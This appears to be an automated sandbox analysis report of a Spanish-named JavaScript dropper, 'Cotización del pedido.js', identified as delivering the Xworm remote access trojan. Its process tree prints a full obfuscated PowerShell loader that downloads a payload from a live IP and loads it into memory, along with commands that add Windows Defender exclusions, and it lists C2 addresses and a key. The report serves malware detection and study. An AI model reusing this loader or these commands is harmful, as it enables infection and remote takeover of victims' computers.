Analysis
- max time kernel
149s - max time network
151s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
26/08/2026, 15:05
General
- Target Cotización del pedido.js
- Size 604KB
- Sample260826-sgcm4adh95
- SHA256 10b08b9d4271e95eca8095cc2f74078e7e0654ea2bcf98d0b50fffc05fddd38b
Malware Config
Extracted
-
ps1
-
ps1.dropper
http://193.104.58.65/rump25th.png
-
exe.dropper
http://193.104.58.65/rump25th.png
Extracted
-
xworm
-
5.0
-
194.116.236.49:2222
-
L9J7bax6V38Cuxgd
-
install_file
USB.exe
Signatures
- Family: Xworm
Xworm is a remote access trojan written in C#.
- Detect Xworm Payload 1 IoCs
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Using powershell.exe command.
- Creates a file in the Startup directory 1 TTPs 1 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
- Suspicious use of SetThreadContext 1 IoCs
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Modifies registry class 1 IoCs
- Suspicious behavior: EnumeratesProcesses 9 IoCs
- Suspicious use of AdjustPrivilegeToken 46 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\Cotización del pedido.js"1⤵
- Creates a file in the Startup directory
- Modifies registry class
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $boswellize = ''http://193.104.58.65/rump25th.png''; Add-Type -AssemblyName System.Net.Http; $satirizing = New-Object System.Net.CookieContainer; $xerotes = New-Object System.Net.Http.HttpClientHandler; $xerotes.AllowAutoRedirect = $true; $xerotes.CookieContainer = $satirizing; $upcomming = New-Object System.Net.Http.HttpClient($xerotes); $upcomming.DefaultRequestHeaders.Add(''User-Agent'', ''Mozilla/5.0 (Windows NT 10.0; Win64; x64)''); try { $polytypical = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Head, $boswellize); $politico = $upcomming.SendAsync($polytypical).GetAwaiter().GetResult(); $scantinesses = $politico.Content.Headers.ContentLength; if ($null -eq $scantinesses) { $scantinesses = 5000000; } $thiolation = [Math]::Min($scantinesses, 3000000); $irori = [Math]::Max(0, $scantinesses - $thiolation); $sysopped = $scantinesses - 1; $pyrotherium = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Get, $boswellize); $pyrotherium.Headers.Range = New-Object System.Net.Http.Headers.RangeHeaderValue($irori, $sysopped); $deploration = $upcomming.SendAsync($pyrotherium).GetAwaiter().GetResult(); [byte[]]$wonders = $deploration.Content.ReadAsByteArrayAsync().GetAwaiter().GetResult(); $blinkered = [System.Text.Encoding]::ASCII.GetString($wonders); } catch { $millipascals = (New-Object System.Net.WebClient).DownloadString($boswellize); $blinkered = $millipascals; } $unfine=''IN-''; $dogbolt=''-in1''; $isospondyli = [string]::IndexOf($blinkered, $unfine); $Altissimo = $blinkered.LastIndexOf($dogbolt); if($isospondyli -eq -1 -or $Altissimo -eq -1){return}; $uncloven = $isospondyli + $unfine.Length; $warwickite = $blinkered.Substring($blinkered.IndexOf($unfine) + $unfine.Length, $Altissimo - ($blinkered.IndexOf($unfine) + $unfine.Length)); $Noughties = $warwickite.Replace(''*'',''A'').ToCharArray(); $palls = -join $Noughties[($Noughties.Length - 1)..0]; $cerebrosity = ($palls -match ''^[0-9a-fA-F]+$'') -and ($palls.Length % 2 -eq 0); [byte[]]$inhibitions = $null; if ($cerebrosity) { $inhibitions = for ($i = 0; $i -lt $palls.Length; $i += 2) { [Convert]::ToByte($palls.Substring($i, 2), 16) } } else { $achilida = [Type]::GetType((''System''+''.''+''Convert'') -join ''''); $inhibitions = $achilida.GetMethod((''From''+''Base64''+''String'') -join '''').Invoke($null, (,$palls)); } $junonia = [AppDomain]::(''CurrentDomain''); $percentile = $junonia.GetType().GetMethod(''Load'', [byte[]]); $impenetrable = $percentile.Invoke($junonia, (,$inhibitions)); $aminoxides = (''EjfuHx25yfKohlKYQBh9pqgDgIsQsJBvILSPFdqewRVdu1uyeF6TB2X0qZS3mOk9SPmrtRrK2XJWiJwjkAWiWQ=='','''',''V9MqgooMCgmy4tiV8DBsHjk8J1f4/UfRjbZIB7d069cFWZu6Q6gLdoWly6w40bVx'',''om313fX5bxL0XxJ4BZQBu8trqVyTm3hdZEWsZtbZ0js='',''1eBUTk/jbah9SU8gz3q2s47cIea1H0/6t2ccMcnkzDs='','''',''PrGqGgllSUwK2hNzCaGS104tvr+IzUvq0WZZfkcdhFg='','''',''x12y77pB5gNGdi0lic85GWQ/3dXveHnTd73HAyaL19o='',''HEwwwmaNz+wr3gmjNIGZrC0RG1Nw0E7wjWILA/jvsPlZ9bFe40R6iQzMEtBYCAoS'',''7kLvbcbOvX1TXqhKG8HhDlEk9Z8k2g/Hzor5ciIVEdI='',''AvSb0IpijJ/Ng+eDaZBFqg/qW3AcJdNT95Zumcjy73w='',''hCRou4uQY156GAfm1BHm5mpLD6oxP9fiW2u8Jv/PVBY='','''',''yU+kizeeKWFpa1VJsLRM5hHBJ09fges36MhyTJN6674='',''PFmZHbW0mby1IbgtRQI8cPTLtg4aHsC8nBT3C1KMFCE='','''','''',''''); try { $pinic = ($impenetrable.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $radiolesions = ($pinic.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $radiolesions.Invoke($null, [object[]]$aminoxides); } catch {} finally { if ($null -ne $upcomming) { $upcomming.Dispose() } }'))"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Caspol.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
__PSScriptPolicyTest_e0qtkrwj.4kx.ps1
memory/692-13-0x00007FF862110000-0x00007FF862AB4000-memory.dmp
memory/692-14-0x00007FF862110000-0x00007FF862AB4000-memory.dmp
memory/692-7-0x00007FF862110000-0x00007FF862AB4000-memory.dmp
memory/692-8-0x00007FF862110000-0x00007FF862AB4000-memory.dmp
memory/692-9-0x00007FF862110000-0x00007FF862AB4000-memory.dmp
memory/692-10-0x00007FF862110000-0x00007FF862AB4000-memory.dmp
memory/692-11-0x00007FF862110000-0x00007FF862AB4000-memory.dmp
memory/692-12-0x00007FF862110000-0x00007FF862AB4000-memory.dmp
memory/692-0-0x00007FF86229F000-0x00007FF8622A0000-memory.dmp
memory/692-6-0x00007FF862110000-0x00007FF862AB4000-memory.dmp
memory/692-15-0x00007FF862110000-0x00007FF862AB4000-memory.dmp
memory/692-17-0x000001AFFF530000-0x000001AFFF542000-memory.dmp
memory/692-16-0x000001AF98940000-0x000001AF98A0E000-memory.dmp
memory/692-18-0x000001AF984C0000-0x000001AF984CA000-memory.dmp
memory/692-23-0x00007FF862110000-0x00007FF862AB4000-memory.dmp
memory/692-1-0x00007FF862110000-0x00007FF862AB4000-memory.dmp
memory/692-5-0x00007FF862110000-0x00007FF862AB4000-memory.dmp
memory/692-4-0x000001AFFF570000-0x000001AFFF592000-memory.dmp
memory/2176-48-0x0000000005FA0000-0x00000000062FB000-memory.dmp
memory/2176-50-0x0000000070B70000-0x0000000070BBC000-memory.dmp
memory/5268-28-0x0000000005700000-0x0000000005766000-memory.dmp
memory/5268-40-0x0000000006EC0000-0x0000000006F63000-memory.dmp
memory/5268-25-0x0000000005040000-0x000000000568A000-memory.dmp
memory/5268-31-0x0000000005770000-0x0000000005ACB000-memory.dmp
memory/5268-24-0x0000000002430000-0x0000000002466000-memory.dmp
memory/5268-33-0x0000000005C90000-0x0000000005CAE000-memory.dmp
memory/5268-34-0x0000000005E40000-0x0000000005E8C000-memory.dmp
memory/5268-35-0x0000000006E50000-0x0000000006E86000-memory.dmp
memory/5268-36-0x0000000070B70000-0x0000000070BBC000-memory.dmp
memory/5268-39-0x0000000006280000-0x00000000062A0000-memory.dmp
memory/5268-27-0x0000000005690000-0x00000000056F6000-memory.dmp
memory/5268-26-0x0000000004FA0000-0x0000000004FC2000-memory.dmp
memory/5268-41-0x0000000007640000-0x0000000007CBC000-memory.dmp
memory/5268-42-0x0000000007000000-0x000000000701A000-memory.dmp
memory/5268-43-0x0000000007070000-0x000000000707A000-memory.dmp
memory/5268-44-0x0000000007270000-0x0000000007306000-memory.dmp
memory/5732-22-0x0000000005660000-0x00000000056FC000-memory.dmp
memory/5732-21-0x0000000075122000-0x0000000075123000-memory.dmp
memory/5732-19-0x0000000000400000-0x0000000000410000-memory.dmp
memory/5732-54-0x00000000066B0000-0x0000000006C6A000-memory.dmp
memory/5732-56-0x00000000062C0000-0x00000000062CA000-memory.dmp
memory/5732-55-0x00000000062D0000-0x0000000006362000-memory.dmp
memory/5732-57-0x0000000075122000-0x0000000075123000-memory.dmp